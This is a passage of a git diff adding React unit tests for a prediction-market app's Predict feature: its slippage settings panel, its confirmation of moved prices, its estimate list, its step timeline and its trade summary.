expect(onChange).not.toHaveBeenCalled(); + expect(field).toHaveValue("60"); + expect(field).toHaveAttribute("aria-invalid", "true"); + expect(field).toHaveAccessibleDescription(/Enter a percent from 0\.01 to 50\.$/); + }); + + it("offer Reset while a field holds an entry it refused, and go back to Auto from it", async () => { + render(); + await userEvent.click(gear()); + const field = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + await userEvent.type(field, "99"); + await userEvent.tab(); + + await userEvent.click(within(panel()).getByRole("button", { name: "Reset" })); + + const after = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + expect(after).toHaveValue(""); + expect(after).not.toHaveAttribute("aria-invalid"); + expect(within(panel()).getAllByRole("button", { name: "Auto" })[0]).toHaveAttribute("aria-pressed", "true"); + }); + + it("drop an entry it refused when the panel closes, so it reopens on the slippage in use", async () => { + render(); + await userEvent.click(gear()); + await userEvent.type(screen.getByRole("textbox", { name: "Max slippage, custom percent" }), "99"); + await userEvent.click(within(panel()).getByRole("button", { name: "Done" })); + + await userEvent.click(gear()); + + const field = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + expect(field).toHaveValue(""); + expect(field).not.toHaveAttribute("aria-invalid"); + expect(within(panel()).getByRole("button", { name: "Reset" })).toBeDisabled(); + }); + + it("show each setting's hint to every visitor", async () => { + render(); + await userEvent.click(gear()); + + expect(within(panel()).getByText("How far a trade may fill from its plan.")).toBeVisible(); + expect(within(panel()).getByText("How far the swap may fill below its quote.")).toBeVisible(); + }); + + it("refuse 0, at which no swap can fill", async () => { + const onChange = vi.fn(); + render(); + await userEvent.click(gear()); + const field = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + + await userEvent.type(field, "0"); + await userEvent.tab(); + + expect(onChange).not.toHaveBeenCalled(); + expect(field).toHaveAttribute("aria-invalid", "true"); + }); + + it("warn on a low custom value without refusing it", async () => { + render( + , + ); + await userEvent.click(gear()); + + expect(screen.getByRole("textbox", { name: "Max slippage, custom percent" })).toHaveAccessibleDescription( + /Low slippage\. A trade may fail if the pool moves at all\.$/, + ); + }); + + it("show the credits swap's setting only to a visitor with credits", async () => { + const view = render(); + await userEvent.click(gear()); + expect(document.querySelector('[data-slippage="creditsBps"]')).toBeNull(); + + view.rerender(); + expect(document.querySelector('[data-slippage="creditsBps"]')).not.toBeNull(); + }); + + it("close on Done and on the X beside the title, leaving the popup open", async () => { + const onClose = vi.fn(); + render(); + + await userEvent.click(gear()); + await userEvent.click(within(panel()).getByRole("button", { name: "Done" })); + expect(gear()).toHaveAttribute("aria-expanded", "false"); + + await userEvent.click(gear()); + await userEvent.click(screen.getByRole("button", { name: "Close settings" })); + expect(gear()).toHaveAttribute("aria-expanded", "false"); + expect(onClose).not.toHaveBeenCalled(); + }); + + it("keep the keyboard in the header and the panel, Tab from the end to the gear and back", async () => { + render(); + await userEvent.click(gear()); + const done = within(panel()).getByRole("button", { name: "Done" }); + + done.focus(); + await userEvent.tab(); + expect(gear()).toHaveFocus(); + + await userEvent.tab({ shift: true }); + expect(done).toHaveFocus(); + }); + + it("warn on a high custom value without refusing it", async () => { + render( + , + ); + await userEvent.click(gear()); + + expect(screen.getByRole("textbox", { name: "Max slippage, custom percent" })).toHaveAccessibleDescription( + /High slippage\. A trade may fill at a much worse price\.$/, + ); + }); + + it("warn on a high credits swap slippage in the swap's own words", async () => { + render( + , + ); + await userEvent.click(gear()); + + expect(screen.getByRole("textbox", { name: "Credits swap slippage, custom percent" })).toHaveAccessibleDescription( + /High slippage\. The swap may pay much less than its quote\.$/, + ); + }); + + it("show the slippage in use on Auto in each empty field, and name it", async () => { + render(); + await userEvent.click(gear()); + const trades = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + const credits = screen.getByRole("textbox", { name: "Credits swap slippage, custom percent" }); + + expect(trades).toHaveValue(""); + expect(trades).toHaveAttribute("placeholder", "1"); + expect(trades).toHaveAccessibleDescription(/Auto is 1%\./); + expect(credits).toHaveAttribute("placeholder", "0.2"); + }); + + it("set every kind back to Auto from Reset, which has nothing to do on Auto", async () => { + const onChange = vi.fn(); + const view = render( + , + ); + await userEvent.click(gear()); + expect(within(panel()).getByRole("button", { name: "Reset" })).toBeDisabled(); + + view.rerender( + , + ); + await userEvent.click(within(panel()).getByRole("button", { name: "Reset" })); + + expect(onChange.mock.calls).toEqual([ + ["tradeBps", null], + ["creditsBps", null], + ]); + }); + + it("drop a typed entry not yet saved on Reset", async () => { + render( + , + ); + await userEvent.click(gear()); + const field = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + await userEvent.clear(field); + await userEvent.type(field, "70"); + await userEvent.tab(); + + await userEvent.click(within(panel()).getByRole("button", { name: "Reset" })); + + const after = screen.getByRole("textbox", { name: "Max slippage, custom percent" }); + expect(after).not.toHaveAttribute("aria-invalid"); + expect(within(panel()).getAllByRole("button", { name: "Auto" })[0]).toHaveFocus(); + }); + + it("close from the dimmed body around the panel", async () => { + render(); + await userEvent.click(gear()); + + await userEvent.click(panel()); + + expect(gear()).toHaveAttribute("aria-expanded", "false"); + }); + + it("mark the gear while a custom value applies, so the slippage in use is known without opening them", () => { + const view = render(); + expect(gear()).not.toHaveAccessibleDescription(); + expect(screen.queryByTestId("settings-custom")).toBeNull(); + + view.rerender( + , + ); + expect(gear()).toHaveAccessibleDescription("Custom slippage set"); + expect(screen.getByTestId("settings-custom")).toBeInTheDocument(); + + // a credits setting applies only to a visitor with credits + view.rerender( + , + ); + expect(screen.queryByTestId("settings-custom")).toBeNull(); + view.rerender( + , + ); + expect(screen.getByTestId("settings-custom")).toBeInTheDocument(); + }); + + it("open after a run stopped with money moved, while the form stays locked to the run", async () => { + render(); + + expect(gear()).toBeEnabled(); + await userEvent.click(gear()); + expect(gear()).toHaveAttribute("aria-expanded", "true"); + expect(screen.getByLabelText("Amount")).toHaveAttribute("readonly"); + }); + + it.each([ + ["while a run goes", { isRunning: true }], + ["while a sent transaction is not confirmed", { canRetry: true, isPending: true }], + [ + "for a stored run", + { + canRetry: true, + recovered: { + funding: { collateralIn: 4n * WAD, creditsIn: 0n, fromTradeWallet: 0n }, + depositSettled: true, + firstBatchSettled: true, + deposit: WAD, + token: sDai, + slippage: { tradeBps: 100 }, + }, + }, + ], + ["while new prices wait to be confirmed", { moved: MOVED }], + ])("cannot be opened %s", (_name, state) => { + render(); + + expect(gear()).toBeDisabled(); + }); +}); + +describe("prices that moved before signing", () => { + it("ask for a confirm on the button and say what moved", () => { + render(); + + expect(screen.getByRole("button", { name: "Confirm new prices" })).toBeEnabled(); + expect(screen.getByRole("status")).toHaveTextContent("Prices moved on 2 markets. Confirm to go on."); + }); + + it("name the one market that moved on the status line", () => { + render( + , + ); + + expect(screen.getByRole("status")).toHaveTextContent(/now goes to 340 \$M, not 355 \$M\. Confirm to go on\.$/); + }); + + it("does not name a market whose estimate is the one it was going to", () => { + render( + , + ); + + expect(screen.getByRole("status")).toHaveTextContent("Prices moved on 1 market. Confirm to go on."); + }); + + it("say the visitor's new slippage changed the trades, where no price moved", () => { + render( + , + ); + + expect(screen.getByRole("status")).toHaveTextContent("Your new slippage changes the trades. Confirm to go on."); + expect(screen.getByRole("button", { name: "Confirm trades" })).toBeEnabled(); + }); + + it("open Details on the new figures", () => { + const view = render(); + expect(summaryHead()).toHaveAttribute("aria-expanded", "false"); + + view.rerender(); + + expect(summaryHead()).toHaveAttribute("aria-expanded", "true"); + }); + + it("go back to the form from beside the confirm", async () => { + const onBack = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Go back" })); + + expect(onBack).toHaveBeenCalledOnce(); + }); + + it("lock the amount the new figures were planned from", () => { + render(); + + expect(screen.getByLabelText("Amount")).toHaveAttribute("readonly"); + }); + + it("show the new figures, not the ones held before", () => { + const view = render(); + + view.rerender( + , + ); + + expect(within(screen.getByTestId("predict-summary")).getAllByTestId("market-move")[0]).toHaveTextContent( + "312 → 340 $M", + ); + }); + + it("show the new figures when a running run stops at moved, not those held from its start", () => { + const view = render( + , + ); + + view.rerender( + , + ); + + expect(within(screen.getByTestId("predict-summary")).getAllByTestId("market-move")[0]).toHaveTextContent( + "312 → 340 $M", + ); + }); +}); + +describe("prices that could not be read", () => { + const notice = "Prices could not be read."; + + it("offer Try again in Predict's place, which reads them again", async () => { + const onRetryPrices = vi.fn(); + render(); + + await userEvent.click(screen.getByRole("button", { name: "Try again" })); + + expect(onRetryPrices).toHaveBeenCalledOnce(); + expect(screen.getByRole("status")).toHaveTextContent(notice); + }); + + it("check prices on the button while they are read again", () => { + render(); + + expect(screen.getAllByRole("button", { name: "Checking prices…" }).at(-1)).toBeDisabled(); + expect(summaryHead()).toHaveTextContent("Checking prices…"); + }); +}); + +describe("Predict before its prices are read", () => { + it("holds Predict until Details has a plan for each estimate to hold the run to", () => { + render(); + + expect(screen.getByRole("button", { name: "Predict" })).toBeDisabled(); + expect(summaryHead()).toHaveTextContent("Checking prices…"); + }); +}); + +describe("a credits swap that loses much", () => { + it("names the loss on the status line without the visitor opening Details", () => { + render(); + + expect(screen.getByRole("status")).toHaveTextContent(/^Credits swap loses ≈ 38 xDAI\.$/); + expect(within(screen.getByRole("status")).getByTestId("status-box")).toHaveAttribute("data-small"); + expect(screen.getByRole("button", { name: "Predict" })).toBeEnabled(); + }); + + it("says nothing of a loss under 1% of the credits' value", () => { + const small = { ...lossySwap, preview: { ...lossySwap.preview, loss: WAD } }; + render(); + + expect(within(screen.getByRole("status")).queryByText(/./)).toBeNull(); + }); +}); + +describe("Details' slippage", () => { + const slippageRows = async () => { + await userEvent.click(summaryHead()); + return screen.queryAllByTestId("slippage-row").map((row) => row.textContent); + }; + + it("names a stored run's own slippage, which Resume signs with, not the settings'", async () => { + render( + , + ); + + expect(await slippageRows()).toEqual(["Max slippage3%"]); + }); + + it("names a stored run's credits swap slippage while its swap is still to land", async () => { + render( + , + ); + + expect(await slippageRows()).toEqual(["Max slippage1%", "Credits swap slippage0.5%"]); + }); + + it("leaves out the credits swap's slippage once the swap has landed", async () => { + render(); + + expect(await slippageRows()).toEqual(["Max slippage1%"]); + }); + + it("leaves it out once the swap lands part way through a run held to the swap shown at Predict", async () => { + const view = render(); + view.rerender( + , + ); + + expect(await slippageRows()).toEqual(["Max slippage1%"]); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictList.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictList.test.tsx new file mode 100644 index 00000000..5488636b --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictList.test.tsx @@ -0,0 +1,160 @@ +import { useState } from "react"; + +import { act, fireEvent, render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { addresses } from "@/testing/fixtures"; + +import { PredictList, type ListedEstimate } from "../PredictList"; + +const market = addresses.childMarkets[0]; +const estimate: ListedEstimate = { + scale: { market, name: "Movie A", color: "#009aff", unit: "%", lowerBound: 0, upperBound: 100 }, + value: 87, + marketEstimate: 75, + direction: "higher", +}; + +const list = (selected: ListedEstimate[] = [estimate]) => + render(); + +describe("PredictList's rows", () => { + it("reads each estimate as its name, its value and an arrow for which side of the market it is on", () => { + list(); + const row = screen.getByRole("listitem"); + + expect(within(row).getByText("Movie A")).toBeInTheDocument(); + expect(within(row).getByText("87 %")).toBeInTheDocument(); + expect(within(row).getByRole("img", { name: "above the market" })).toBeInTheDocument(); + expect(row).not.toHaveTextContent(/than the market/); + }); + + it("keeps the market's move off the row, which has one right edge", () => { + list(); + + expect(screen.getByRole("listitem")).toHaveTextContent(/^Movie A87 %$/); + }); + + it("carries the full name in a title, for when it is cut short", () => { + list(); + + expect(screen.getByText("Movie A")).toHaveAttribute("title", "Movie A"); + }); +}); + +describe("removing a row", () => { + const other = { ...estimate, scale: { ...estimate.scale, market: addresses.childMarkets[1], name: "Movie B" } }; + // jsdom loads no stylesheet, so the exit's duration token is set where the list reads it + beforeEach(() => document.documentElement.style.setProperty("--fs-dur-echo", "100ms")); + afterEach(() => { + vi.useRealTimers(); + document.documentElement.style.removeProperty("--fs-dur-echo"); + }); + + it("hands the removal over at once and lets the row fade out before it leaves the list", async () => { + vi.useFakeTimers({ shouldAdvanceTime: true }); + const onRemove = vi.fn(); + const { rerender } = render(); + + await userEvent.click(screen.getByRole("button", { name: "Remove Movie A" })); + expect(onRemove).toHaveBeenCalledExactlyOnceWith(market); + rerender(); + expect(screen.getByText("Movie A").closest("li")).toHaveAttribute("data-leaving"); + expect(screen.getAllByRole("listitem").map((row) => row.textContent)).toEqual(["Movie A87 %", "Movie B87 %"]); + + act(() => vi.advanceTimersByTime(100)); + expect(screen.queryByText("Movie A")).toBeNull(); + }); + + it("takes the exit's length from the motion token", () => { + vi.useFakeTimers(); + document.documentElement.style.setProperty("--fs-dur-echo", "0.25s"); + const { rerender } = render(); + + fireEvent.click(screen.getByRole("button", { name: "Remove Movie A" })); + rerender(); + act(() => vi.advanceTimersByTime(249)); + expect(screen.getByText("Movie A")).toBeInTheDocument(); + act(() => vi.advanceTimersByTime(1)); + expect(screen.queryByText("Movie A")).toBeNull(); + }); + + it("keeps the last row when both are removed within one exit", () => { + vi.useFakeTimers(); + const onRemove = vi.fn(); + render(); + + fireEvent.click(screen.getByRole("button", { name: "Remove Movie A" })); + act(() => vi.advanceTimersByTime(50)); + expect(screen.getByRole("button", { name: "Remove Movie B" })).toBeDisabled(); + fireEvent.click(screen.getByRole("button", { name: "Remove Movie B" })); + act(() => vi.advanceTimersByTime(200)); + + expect(onRemove).toHaveBeenCalledExactlyOnceWith(market); + }); + + it("keeps a row still fading in its place once a row above it, removed first, has left", () => { + vi.useFakeTimers(); + const rows = ["Movie A", "Movie B", "Movie C", "Movie D"].map((name, index) => ({ + ...estimate, + scale: { ...estimate.scale, market: `0x${String(index + 1).repeat(40)}` as typeof market, name }, + })); + function Popup() { + const [removed, setRemoved] = useState([]); + return ( + !removed.includes(row.scale.market))} + onRemove={(gone) => setRemoved((markets) => [...markets, gone])} + isReadOnly={false} + /> + ); + } + render(); + const order = () => screen.getAllByRole("listitem").map((row) => row.querySelector("span[title]")?.textContent); + + fireEvent.click(screen.getByRole("button", { name: "Remove Movie B" })); + act(() => vi.advanceTimersByTime(40)); + fireEvent.click(screen.getByRole("button", { name: "Remove Movie C" })); + // B's exit ends while C has 40ms left to fade where it was shown + act(() => vi.advanceTimersByTime(60)); + + expect(order()).toEqual(["Movie A", "Movie C", "Movie D"]); + }); + + it("leaves a removed estimate out of a run started during its exit", () => { + vi.useFakeTimers(); + const taken: string[][] = []; + function Popup() { + const [removed, setRemoved] = useState([]); + const [running, setRunning] = useState(false); + const kept = [estimate, other].filter((row) => !removed.includes(row.scale.market)); + return ( + <> + setRemoved((markets) => [...markets, gone])} + isReadOnly={running} + /> + + + ); + } + render(); + + fireEvent.click(screen.getByRole("button", { name: "Remove Movie A" })); + act(() => vi.advanceTimersByTime(50)); + fireEvent.click(screen.getByRole("button", { name: "Predict" })); + act(() => vi.advanceTimersByTime(200)); + + expect(taken).toEqual([["Movie B"]]); + expect(screen.queryByText("Movie A")).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictStepsTimeline.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictStepsTimeline.test.tsx new file mode 100644 index 00000000..9b3047c1 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictStepsTimeline.test.tsx @@ -0,0 +1,213 @@ +import { render, screen, within } from "@testing-library/react"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import type { PredictProgress } from "../../run/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { PredictStepsTimeline } from "../PredictStepsTimeline"; + +const WALLET = "0xdcee0000000000000000000000000000000c664f" as const; +const WAD = 10n ** 18n; + +const depositing = (stage: PredictProgress["stage"]): PredictProgress => ({ + stage, + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "running" }, + { id: "predict-1", label: "", state: "pending" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, +}); + +const timeline = (progress: PredictProgress) => ( + +); + +describe("PredictStepsTimeline while adding funds", () => { + it("says to confirm in the wallet while the deposit waits on a signature, then says it is confirming", () => { + const { rerender } = render(timeline(depositing("signing"))); + + expect(item("Add funds").querySelector("h2 + p")?.textContent).toBe("Confirm in your wallet"); + + rerender(timeline(depositing("confirming"))); + + expect(item("Add funds").querySelector("h2 + p")?.textContent).toBe("Confirming…"); + }); + + it("keeps each of credits and a deposit whole, so the line breaks only after the +", () => { + render( + , + ); + + expect(item("Add funds").querySelector("h2 + p")?.textContent).toBe( + "16.2588\u00a0credits\u00a0+ 1,234,543\u00a0xDAI", + ); + }); +}); + +const halted: PredictProgress = { + stage: "halted", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "success" }, + { id: "predict-1", label: "", state: "error" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, + failure: { reason: "rejected", retryable: true }, +}; + +const item = (title: string) => screen.getByRole("listitem", { name: `Timeline item: ${title}` }); +const bullet = (title: string) => item(title).querySelector("[data-bullet]")?.getAttribute("data-bullet"); + +describe("PredictStepsTimeline bullets", () => { + // the pulse itself is checked in a browser: e2e/tests/predict-popup-layout.spec.ts, "the running step" + it("marks the running step's bullet, and adds nothing beside it", () => { + render(timeline(depositing("signing"))); + + expect(bullet("Add funds")).toBe("running"); + expect(within(item("Add funds")).queryByLabelText("Timeline item party element")).toBeNull(); + }); + + it("checks a finished step and keeps it at full strength", () => { + render(timeline(depositing("signing"))); + + expect(bullet("Trade wallet")).toBe("done"); + expect(item("Trade wallet")).not.toHaveClass("opacity-50"); + }); + + it("keeps each bullet's element through a change of view, so its glyphs can cross-fade", () => { + const view = render(timeline(depositing("signing"))); + const before = item("Add funds").querySelector("[data-bullet]"); + + view.rerender(timeline(halted)); + + expect(item("Add funds").querySelector("[data-bullet]")).toBe(before); + expect(before?.querySelectorAll("[data-glyph]")).toHaveLength(3); + }); + + it("numbers the steps 1 to 3 in their bullets", () => { + render(timeline(depositing("signing"))); + + expect( + screen.getAllByRole("listitem").map((row) => row.querySelector('[data-glyph="digit"]')?.textContent), + ).toEqual(["1", "2", "3"]); + }); + + it("puts a step's detail on its title's line, in the timeline's party slot", () => { + render(timeline(depositing("signing"))); + + expect(within(item("Add funds")).getByLabelText("Timeline item party: Confirm in your wallet")).toBeVisible(); + expect(item("Add funds").querySelector("small")?.textContent).toBe(""); + }); + + it("crosses the step that stopped the run, in place, with no row added", () => { + render(timeline(halted)); + + expect(bullet("Place prediction")).toBe("failed"); + expect(screen.getAllByRole("listitem")).toHaveLength(3); + }); +}); + +describe("the timeline's place in the popup", () => { + afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllGlobals(); + }); + + /** The timeline scrolls a frame after it renders. */ + const nextFrame = () => new Promise((resolve) => requestAnimationFrame(resolve)); + + /** jsdom has no matchMedia; this one answers only the reduced-motion query, as `reduce` says. */ + const prefersReducedMotion = (reduce: boolean) => + vi.stubGlobal("matchMedia", (query: string) => ({ + matches: reduce && query === "(prefers-reduced-motion: reduce)", + media: query, + })); + + it.each([ + [false, "smooth"], + [true, "auto"], + ])("with reduced motion %s, scrolls to a running step with behaviour %s", async (reduce, behavior) => { + prefersReducedMotion(reduce); + const scroll = vi.fn(); + Element.prototype.scrollIntoView = scroll; + + render( + , + ); + await nextFrame(); + + expect(scroll).toHaveBeenCalledExactlyOnceWith({ block: "nearest", behavior }); + }); + + it("scrolls itself into view when a run stops with a failure", async () => { + const scroll = vi.fn(); + Element.prototype.scrollIntoView = scroll; + const view = render( + , + ); + await nextFrame(); + expect(scroll).not.toHaveBeenCalled(); + + view.rerender( + , + ); + await nextFrame(); + + expect(scroll).toHaveBeenCalledTimes(1); + }); +}); + +describe("PredictStepsTimeline, for a screen reader", () => { + const withDeposit = (state: "pending" | "success" | "error", stage: PredictProgress["stage"]): PredictProgress => ({ + stage, + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state }, + { id: "predict-1", label: "", state: "pending" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, + ...(stage === "halted" ? { failure: { reason: "rejected" as const, retryable: true } } : {}), + }); + + it.each([ + ["to do", withDeposit("pending", "idle")], + ["done", withDeposit("success", "quoting")], + ["stopped here", withDeposit("error", "halted")], + ])("says the row is %s in text the bullet's glyph only shows", (said, progress) => { + render(timeline(progress)); + + expect(within(item("Add funds")).getByText(said)).toHaveClass("sr-only"); + }); +}); diff --git a/apps/web/src/features/predict/components/__tests__/PredictSummary.test.tsx b/apps/web/src/features/predict/components/__tests__/PredictSummary.test.tsx new file mode 100644 index 00000000..3316f9e3 --- /dev/null +++ b/apps/web/src/features/predict/components/__tests__/PredictSummary.test.tsx @@ -0,0 +1,558 @@ +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, expect, it, vi } from "vitest"; + +import type { OptionScale } from "@/types/optionScale"; + +import type { ListedEstimate, PriceMove } from "../PredictList"; +import { PredictSummary, type CreditsSwapShown } from "../PredictSummary"; + +const scale = (market: string, name: string): OptionScale => ({ + market: market as `0x${string}`, + name, + color: "#009aff", + unit: "$M", + lowerBound: 0, + upperBound: 500, +}); + +const GERWIG = "0xcccccccccccccccccccccccccccccccccccccccc"; +const COOGLER = "0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; +const VILLENEUVE = "0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + +const estimate = (market: string, name: string, marketEstimate: number | undefined): ListedEstimate => ({ + scale: scale(market, name), + value: 400, + marketEstimate, + direction: "higher", +}); + +const selected = [ + estimate(GERWIG, "Greta Gerwig", 312), + estimate(COOGLER, "Ryan Coogler", 296), + estimate(VILLENEUVE, "Denis Villeneuve", undefined), +]; + +const WAD = 10n ** 18n; +const sDai = { symbol: "sDAI", decimals: 18 }; + +const head = () => screen.getByRole("button"); +/** The market rows a visitor can see and reach: role queries leave out an aria-hidden list. */ +const rows = () => { + const list = screen.queryByRole("list", { name: "Markets" }); + return list ? [...list.querySelectorAll(":scope > li")] : []; +}; +/** An option's legs, each its label and value as read aloud. */ +const legs = (name: string) => + within(screen.getByRole("list", { name: `Trades for ${name}` })) + .getAllByRole("listitem") + .map((leg) => leg.textContent!.replace(/\s+/g, " ")); + +function renderSummary( + preview: Record, + isOpen = false, + list = selected, + mint?: { amount: bigint; noun: string }, + isEstimated = false, +) { + return render( + , + ); +} + +type Plan = NonNullable; +const NO_TRADES: Plan = { split: 0n, sells: [], merge: 0n, buys: [], held: 0n, feeValue: 0n }; +/** `units` hundredths of a token. */ +const cents = (units: bigint) => (units * WAD) / 100n; + +describe("PredictSummary's headline", () => { + it("counts the markets whose shown value moves, not one a preview leaves where it is", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 }, [COOGLER]: { from: 296, to: 296.0001 } }); + + expect(head()).toHaveTextContent(/^1 market moves$/); + }); + + it("counts a market whose trades move it by less than its shown value", () => { + const plan: Plan = { + ...NO_TRADES, + split: WAD, + sells: [{ side: "down", amountIn: cents(2n), underlyingOut: cents(1n), toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 312.0001, plan } }); + + expect(head()).toHaveTextContent(/^1 market moves · 1 stops short$/); + }); + + it("says market prices when none of them moves", () => { + renderSummary({ [GERWIG]: { from: 312, to: 312 }, [COOGLER]: { from: 296, to: 296.0001 } }); + + expect(head()).toHaveTextContent(/^Market prices$/); + }); + + it("says nothing else beside the count", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 }, [COOGLER]: { from: 296, to: 280 } }); + + expect(head().textContent).toMatch( + /^(\d+ markets move|1 market moves|Market prices|Checking prices…)( · \d+ stops? short)?$/, + ); + }); +}); + +describe("PredictSummary's rows", () => { + it("lists one row per estimate, each its name and where its market goes, and nothing more", () => { + renderSummary({ [GERWIG]: { from: 312, to: 355 }, [COOGLER]: { from: 296, to: 296 } }, true); + + expect(rows().map((row) => row.textContent)).toEqual([ + "Greta Gerwig312 → 355 $M", + "Ryan CooglerStays at 296 $M", + "Denis VilleneuveNo preview", + ]); + }); + + it("says Now and the market's value before a preview is read", () => { + renderSummary({}, true, selected.slice(0, 1)); + + expect(rows().map((row) => row.textContent)).toEqual(["Greta GerwigNow 312 $M"]); + }); + + it("says No preview for a market with neither a preview nor a value", () => { + renderSummary({}, true, selected.slice(2)); + + expect(within(rows()[0]!).getByTestId("market-move")).toHaveTextContent(/^No preview$/); + }); +}); + +describe("PredictSummary's trades", () => { + it("lists an option's legs in the order the run makes them, with ≈ on every figure the pool maths simulates", () => { + const plan: Plan = { + held: 0n, + feeValue: 0n, + split: 10n * WAD, + sells: [{ side: "down", amountIn: cents(720n), underlyingOut: cents(310n), toTarget: false, fee: 0n }], + merge: cents(280n), + buys: [{ side: "up", amountIn: cents(580n), outcomeOut: cents(840n), toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 355, plan } }, true); + + expect(legs("Greta Gerwig")).toEqual([ + "Split10 tokens → 10 UP + 10 DOWN", + "Sell7.2 DOWN → ≈ 3.1 tokens", + "Merge2.8 pairs → 2.8 tokens", + "Buy≈ 5.8 tokens → ≈ 8.4 UP", + ]); + }); + + it("names a buy the merge alone pays for exactly", () => { + const plan: Plan = { + held: 0n, + feeValue: 0n, + split: WAD, + sells: [], + merge: WAD, + buys: [{ side: "down", amountIn: cents(98n), outcomeOut: 2n * WAD, toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 300, plan } }, true); + + expect(legs("Greta Gerwig").at(-1)).toBe("Buy0.98 tokens → ≈ 2 DOWN"); + }); + + it("colours UP in the success tone and DOWN in the error tone", () => { + const plan: Plan = { + ...NO_TRADES, + split: WAD, + sells: [{ side: "down", amountIn: WAD, underlyingOut: cents(40n), toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 355, plan } }, true); + const trades = within(screen.getByRole("list", { name: "Trades for Greta Gerwig" })); + + expect(trades.getByText("1 UP")).toHaveClass("text-fs-tone-success-text"); + for (const down of trades.getAllByText("1 DOWN")) expect(down).toHaveClass("text-fs-tone-error-text"); + }); + + it("leaves out a split and a merge of nothing", () => { + const plan: Plan = { + ...NO_TRADES, + sells: [{ side: "up", amountIn: WAD, underlyingOut: cents(25n), toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 280, plan } }, true); + + expect(legs("Greta Gerwig")).toEqual(["Sell1 UP → ≈ 0.25 tokens"]); + }); + + it("says an option with no trades is left out, and why", () => { + const atEstimate = { ...estimate(GERWIG, "Greta Gerwig", 312), value: 312 }; + renderSummary({ [GERWIG]: { from: 312, to: 312, plan: NO_TRADES } }, true, [atEstimate]); + + expect(legs("Greta Gerwig")).toEqual(["No tradeAlready at your estimate; left out"]); + }); + + it("says an option far from its estimate with no trades has too little to move it", () => { + renderSummary({ [GERWIG]: { from: 312, to: 312, plan: NO_TRADES } }, true); + + expect(legs("Greta Gerwig")).toEqual(["No tradeToo little to move it; left out"]); + }); + + it("names the underlying already held that the split adds to what goes in", () => { + renderSummary( + { + [GERWIG]: { + from: 312, + to: 355, + plan: { + ...NO_TRADES, + split: 12n * WAD, + held: 2n * WAD, + buys: [{ side: "up", amountIn: WAD, outcomeOut: 2n * WAD, toTarget: false, fee: 0n }], + }, + }, + }, + true, + ); + + expect(legs("Greta Gerwig")[0]).toBe("Split10 tokens + 2 held → 12 UP + 12 DOWN"); + }); + + it("names a split of held underlying alone as held", () => { + renderSummary( + { + [GERWIG]: { + from: 312, + to: 355, + plan: { + ...NO_TRADES, + split: 2n * WAD, + held: 2n * WAD, + buys: [{ side: "up", amountIn: WAD, outcomeOut: 2n * WAD, toTarget: false, fee: 0n }], + }, + }, + }, + true, + ); + + expect(legs("Greta Gerwig")[0]).toBe("Split2 held tokens → 2 UP + 2 DOWN"); + }); + + it("marks a leg the price limit stops at the estimate as simulated", () => { + const plan: Plan = { + ...NO_TRADES, + split: 2n * WAD, + sells: [{ side: "up", amountIn: WAD, underlyingOut: cents(50n), toTarget: true, fee: 0n }], + merge: cents(99n), + buys: [{ side: "down", amountIn: cents(30n), outcomeOut: WAD, toTarget: false, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 280, plan } }, true); + + expect(legs("Greta Gerwig").slice(1)).toEqual([ + "Sell≈ 1 UP → ≈ 0.5 tokens", + "Merge0.99 pairs → 0.99 tokens", + "Buy≈ 0.3 tokens → ≈ 1 DOWN", + ]); + }); + + it("marks a buy the merge alone pays for as simulated when the limit stops it at the estimate", () => { + const plan: Plan = { + ...NO_TRADES, + split: WAD, + merge: WAD, + buys: [{ side: "down", amountIn: cents(98n), outcomeOut: 2n * WAD, toTarget: true, fee: 0n }], + }; + renderSummary({ [GERWIG]: { from: 312, to: 300, plan } }, true); + + expect(legs("Greta Gerwig").at(-1)).toBe("Buy≈ 0.98 tokens → ≈ 2 DOWN"); + }); + + it("marks every figure as estimated when the collateral going in is an estimate", () => { + const plan: Plan = { + ...NO_TRADES, + split: 10n * WAD, + merge: WAD, + buys: [{ side: "up", amountIn: WAD, outcomeOut: 3n * WAD, toTarget: false, fee: 0n }], + }; + renderSummary( + { [GERWIG]: { from: 312, to: 355, plan } }, + true, + selected, + { amount: 10n * WAD, noun: "city" }, + true, + ); + + expect(screen.getByTestId("trade-mint")).toHaveTextContent(/^Mint≈ 10 sDAI → ≈ 10 tokens of every city$/); + expect(legs("Greta Gerwig")).toEqual([ + "Split≈ 10 tokens → ≈ 10 UP + ≈ 10 DOWN", + 